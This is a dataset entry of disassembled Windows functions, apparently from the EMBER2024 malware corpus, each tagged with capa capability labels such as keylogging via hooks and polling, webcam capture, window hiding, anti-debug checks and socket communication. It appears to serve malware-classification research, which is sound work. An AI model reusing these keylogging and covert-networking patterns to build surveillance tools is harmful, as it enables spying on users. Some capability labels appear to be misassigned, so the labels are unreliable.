joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49b890
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x49b9b1
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetVersion
mov edx, dword [0x4df9c0]
mov dword [edx], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x4df9c0]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x49b9c8
call fcn.0040a140
mov eax, dword [ebp - 4]
call fcn.004b23a4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x4df774]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
mov eax, dword [0x4df980]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0
lea edx, [ebp - 0x20]
mov ecx, 1
mov eax, 0x49b9e4
call fcn.0040a140
mov eax, dword [ebp - 0x10]
call fcn.004b23a4
call sub.kernel32.dll_GetCurrentThreadId_1
mov esi, eax
push esi
push 0
push 0x49b4c4
push 5
call sub.user32.dll_SetWindowsHookExA
mov dword [ebx + 0x1c], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x49ba04
call fcn.0040a140
mov eax, dword [ebp - 0x24]
call fcn.004b23a4
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x49ba1c
call fcn.0040a140
mov eax, dword [ebp - 0x28]
call fcn.004b23a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b9b8
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00404908
lea eax, [ebp - 0x10]
call fcn.004048e4
lea eax, [ebp - 4]
call fcn.004048e4
ret

Function at 0x4a3524
Capabilities:
Capture webcam image

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov edi, edx
mov ebx, eax
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_IsWindow
test eax, eax
jne 0x4a355a
jmp 0x4a3600
push 0xfffffffffffffff0
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_GetWindowLongA
mov esi, eax
mov eax, esp
push eax
push 0
push 0x419
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
test esi, 2
jbe 0x4a359e
mov edx, dword [ebx + 0x4c]
cmp dword [edx + 0x144], 0
je 0x4a359e
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + 0x144]
mov eax, dword [eax + 0x14]
jmp 0x4a35ae
mov edx, dword [ebx + 0x4c]
mov edx, dword [edx + 0x140]
test edx, edx
je 0x4a35ae
mov eax, dword [edx + 0x14]
test eax, eax
je 0x4a35c7
push eax
push 2
push 5
mov edx, dword [edi + 0x10]
lea ecx, [esp + 0xc]
mov eax, ebx
call fcn.004a0d90
jmp 0x4a3600
mov dl, 1
mov eax, dword [0x427330]
call fcn.004292d4
mov esi, eax
mov edx, dword [edi + 0x10]
mov eax, esi
call fcn.00429a78
mov eax, dword [ebx + 0x4c]
mov edx, dword [eax + 0xac]
mov eax, dword [esi + 0x10]
call fcn.00428e64
mov edx, esp
mov eax, esi
call fcn.004296e0
mov eax, esi
call fcn.00403af4
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x4a51c0
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
push 0
mov eax, ebx
call fcn.0044fc20
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x264], 0
pop ebx
ret
Function at 0x4a8a48
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff00
mov esi, edx
mov ebp, eax
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.0046138c
mov ebx, eax
mov dx, word [esi + 4]
mov eax, ebp
call fcn.004a8770
mov edi, eax
test edi, edi
je 0x4a8a95
mov al, byte [0x4a8ad8]
cmp al, bl
jne 0x4a8a95
mov edx, edi
mov eax, ebp
call fcn.004a8718
mov dword [esi + 0xc], 1
mov byte [ebp + 0x31], 1
jmp 0x4a8acb
cmp byte [ebp + 0x165], 2
jne 0x4a8abe
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x4dfa4c]
mov eax, dword [eax]
mov eax, dword [eax + 0x4c]
mov edx, 0xb006
call fcn.0044a570
test eax, eax
jne 0x4a8acb
xor eax, eax
mov dword [esi + 0xc], eax
mov edx, esi
mov eax, dword [ebp + 0x3c]
call dword [ebp + 0x38]
add esp, 0x100
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4ac18c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4ac246
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00405000
mov eax, dword [0x4df684]
cmp byte [eax], 0
je 0x4ac1fb
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.00405310
mov eax, dword [ebx]
call fcn.0040518c
push eax
mov eax, dword [ebx]
call fcn.0040517c
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.0040518c
mov edx, eax
dec edx
mov eax, ebx
call fcn.00405310
jmp 0x4ac22d
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.00409bc4
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.0040516c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ac24d
lea eax, [ebp - 0x3f0]
call fcn.004048e4
ret

Function at 0x4ac254
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffc14
mov ebx, edx
mov edx, esp
push edx
push 0x3e8
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov edx, ebx
mov eax, esp
call fcn.00409bc4
add esp, 0x3ec
pop ebx
ret
Function at 0x4ad6e4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
call fcn.0045b21c
mov edi, eax
dec edi
test edi, edi
jl 0x4ad797
inc edi
xor esi, esi
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0045b22c
mov eax, dword [eax + 0xc]
sub eax, 1
jb 0x4ad72e
je 0x4ad74f
dec eax
je 0x4ad770
jmp 0x4ad78f
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0045b22c
cmp byte [ebx + 0x168], 0
setne dl
call fcn.0045b148
jmp 0x4ad78f
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0045b22c
cmp byte [ebx + 0x168], 1
setne dl
call fcn.0045b148
jmp 0x4ad78f
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0045b22c
cmp byte [ebx + 0x168], 2
setne dl
call fcn.0045b148
inc esi
dec edi
jne 0x4ad70f
call sub.kernel32.dll_GetTickCount
sub eax, dword [ebx + 0x88]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x8c]
cdq
cmp edx, dword [esp + 4]
jne 0x4ad7bc
cmp eax, dword [esp]
pop edx
pop eax
jae 0x4ad82b
jmp 0x4ad7c0
pop edx
pop eax
jge 0x4ad82b
mov eax, dword [0x4dfa4c]
mov eax, dword [eax]
mov dword [eax + 0x40], 2
mov esi, 2
call sub.kernel32.dll_GetTickCount
mov dword [ebx + 0x88], eax
mov eax, dword [ebx + 0x13c]
test byte [eax + 0x4c], 4
je 0x4ad807
cmp byte [ebx + 0x165], 2
je 0x4ad807
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov eax, dword [ebx + 0xf8]
mov ebx, dword [eax]
call dword [ebx + 0x40]
jmp 0x4ad850
push 0
mov eax, dword [ebx + 0x130]
push eax
push 0
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push eax
push esi
mov eax, dword [ebx + 0x108]
push eax
call sub.user32.dll_TrackPopupMenu
jmp 0x4ad850
cmp dword [ebx + 0x120], 0
je 0x4ad850
xor edx, edx
mov eax, dword [ebx + 0x58]
call fcn.00440588
push 0
push 0
push 0x10
mov eax, dword [ebx + 0x130]
push eax
call sub.user32.dll_PostMessageA
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4b759c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4b770d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0x8c], 1
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 0x10
jne 0x4b76f2
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10d]
call fcn.00409bc4
mov dl, 1
mov eax, dword [0x471750]
call fcn.004717a8
mov edx, dword [ebp - 4]
mov dword [edx + 0x84], eax
mov dl, 1
mov eax, dword [0x41ad14]
call fcn.00403ac4
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x88]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
call fcn.00471824
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4b76ef
mov dl, 1
mov eax, dword [0x472208]
call fcn.00472270
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
mov edx, 0x4b7724
call fcn.00471b70
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00404be8
xor eax, eax
push ebp
push 0x4b76e8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x10]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.00472570
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.004b772c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b76ef
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
call fcn.00403af4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
call fcn.00403af4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.00403af4
ret
mov bl, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b7714
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404908
ret
Function at 0x4c20dc
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x4c210a
mov eax, ebx
call fcn.004c2b94
cmp dword [ebx + 0x3c], 0
je 0x4c2103
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x4c217b
mov edx, dword [ebx + 0x1ac]
cmp dword [edx + 0x10], 0
je 0x4c216d
cmp dword [ebx + 8], 0
je 0x4c212c
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1ac]
call dword [edx]
test eax, eax
jne 0x4c213e
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4c216d
cmp dword [ebx + 8], 0
je 0x4c211f
cmp eax, 3
je 0x4c2151
dec eax
jne 0x4c211f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4c211f
mov edx, dword [ebx + 0x138]
add dword [eax + 8], edx
jmp 0x4c211f
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x4c2199
cmp dword [ebx + 0x10], 0xcc
je 0x4c2199
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004c21a4
pop ebx
ret

Function at 0x4d2da0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x4d2e29
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4e0e30
push 0x101
call sub.wsock32.dll_WSAStartup
mov ebx, eax
test ebx, ebx
je 0x4d2e13
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.0040c3a4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
mov eax, 0x4d2e40
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x18]
push eax
push 2
mov ecx, dword [0x4df9dc]
mov dl, 1
mov eax, dword [0x4d25d8]
call fcn.0040cd00
call fcn.004042c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d2e30
lea eax, [ebp - 0x1c]
call fcn.004048e4
ret

Function at 0x4d34d0
Capabilities:
Connect socket

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, ebx
call fcn.004d33f4
mov cl, 1
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403cf0
push 0x10
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_connect
mov edx, 0x4d3534
call fcn.004d2ce8
mov byte [ebx + 0x29], 0
test byte [ebx + 0x28], 0x10
jne 0x4d3526
cmp dword [ebx + 4], 0xffffffff
setne al
mov byte [ebx + 8], al
mov cl, 2
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403cf0
pop esi
pop ebx
ret
Function at 0x4d3558
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, edx
mov eax, ebx
call fcn.00404d94
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.00403244
test ebx, ebx
je 0x4d35a3
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 4], cl
mov cl, byte [edx + 1]
mov byte [esp + 5], cl
mov cl, byte [edx + 2]
mov byte [esp + 6], cl
mov al, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret

Function at 0x4d3680
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4d36b1
mov ecx, dword [0x4df8d4]
mov dl, 1
mov eax, dword [0x4d25d8]
call fcn.0040ccc4
call fcn.004042c0
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x4d36de
mov ecx, dword [0x4df860]
mov dl, 1
mov eax, dword [0x4d25d8]
call fcn.0040ccc4
call fcn.004042c0
xor eax, eax
push ebp
push 0x4d375a
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.00403cf0
cmp byte [ebp + 8], 0
je 0x4d3736
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.004d35e8
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.004d34d0
jmp 0x4d3750
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.004d2fd4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d3777
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4d3958
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004d3290
xor eax, eax
push ebp
push 0x4d3aca
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x4d3ab4
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x4d39a3
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4d39ad
call fcn.0040436c
jmp 0x4d3ad1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f3f8
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x4d3aa9
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x4d3a5b
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x4d3a48
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403cf0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.004d3910
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x4d3adc]
cmp dl, byte [eax + 0x28]
je 0x4d3ab0
call fcn.0040cba0
jmp 0x4d3ab0
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f418
jmp 0x4d3ab0
cmp ecx, ebx
jge 0x4d3a77
mov eax, dword [ebp - 0xc]
add eax, ecx
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f418
jmp 0x4d39ad
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f3f8
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041f42c
cmp edx, dword [esp + 4]
jne 0x4d3a98
cmp eax, dword [esp]
pop edx
pop eax
jne 0x4d39ad
push ebp
call fcn.004d3910
pop ecx
jmp 0x4d3ab0
push ebp
call fcn.004d3910
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d3ad1
mov eax, dword [ebp - 4]
call fcn.004d329c
ret
mov al, byte [ebp - 5]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d3ae0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4d3c02
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004d3290
xor eax, eax
push ebp
push 0x4d3be5
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4d3b30
call fcn.0040436c
jmp 0x4d3bec
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4d3bcf
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4d3bcf
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403cf0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4d3bcf
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c3a4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x4d3c1c
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4df9dc]
mov dl, 1
mov eax, dword [0x4d25d8]
call fcn.0040cd00
call fcn.004042c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d3bec
mov eax, dword [ebp - 4]
call fcn.004d329c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d3c09
lea eax, [ebp - 0x28]
call fcn.004048e4
ret
Function at 0x4d3c68
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4d3db2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004d3290
xor eax, eax
push ebp
push 0x4d3d95
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x4d3ccd
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4d3ccd
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x4d3d7f
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4d3ce0
call fcn.0040436c
jmp 0x4d3d9c
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4d3d7f
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4d3d7f
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403cf0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4d3d7f
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c3a4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x4d3dcc
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4df9dc]
mov dl, 1
mov eax, dword [0x4d25d8]
call fcn.0040cd00
call fcn.004042c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d3d9c
mov eax, dword [ebp - 4]
call fcn.004d329c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d3db9
lea eax, [ebp - 0x28]
call fcn.004048e4
ret

Function at 0x4d4414
Capabilities:
Get socket status

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ecx, edx
mov ebx, eax
mov eax, ecx
mov esi, 0x3e8
cdq
idiv esi
mov dword [esp], eax
mov eax, ecx
mov ecx, 0x3e8
cdq
idiv ecx
imul eax, edx, 0x3e8
mov dword [esp + 4], eax
lea eax, [esp + 8]
call fcn.004d210c
lea edx, [esp + 8]
mov eax, dword [ebx + 4]
mov eax, dword [eax + 4]
call fcn.004d20fc
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
setg al
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x4d9a68
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, edx
push esp
push 0xff
call sub.kernel32.dll_GetTempPathA
mov edx, ebx
mov eax, esp
call fcn.00409bc4
add esp, 0x100
pop ebx
ret

Function at 0x4d9cb4
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
mov dword [esp], 7
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
cmp eax, 1
sbb eax, eax
inc eax
pop edx
ret
Function at 0x4dbe80
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc98
push ebx
xor ecx, ecx
mov dword [ebp - 0x368], ecx
mov dword [ebp - 0xc], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404d84
xor eax, eax
push ebp
push 0x4dbfcf
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x20d]
mov edx, dword [ebp - 4]
call fcn.00409a64
lea edx, [ebp - 0xc]
xor eax, eax
call fcn.004029a0
lea eax, [ebp - 0x30d]
mov edx, dword [ebp - 0xc]
call fcn.00409a64
lea eax, [ebp - 0x354]
xor ecx, ecx
mov edx, 0x44
call fcn.00403244
mov dword [ebp - 0x354], 0x44
mov dword [ebp - 0x328], 1
mov word [ebp - 0x324], bx
lea eax, [ebp - 0x364]
push eax
lea eax, [ebp - 0x354]
push eax
lea eax, [ebp - 0x30d]
push eax
push 0
push 0x30
push 0
push 0
push 0
lea eax, [ebp - 0x20d]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4dbf70
mov dword [ebp - 8], 0xffffffff
push 0
push 0x4dbfe0
call sub.kernel32.dll_GetLastError_1
lea edx, [ebp - 0x368]
call fcn.0040c3a4
mov eax, dword [ebp - 0x368]
call fcn.00404d94
push eax
mov eax, dword [0x4df920]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_MessageBoxA_1
jmp 0x4dbfa6
push 0xffffffffffffffff
mov eax, dword [ebp - 0x364]
push eax
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x364]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x364]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x360]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dbfd6
lea eax, [ebp - 0x368]
call fcn.004048e4
lea eax, [ebp - 0xc]
call fcn.004048e4
lea eax, [ebp - 4]
call fcn.004048e4
ret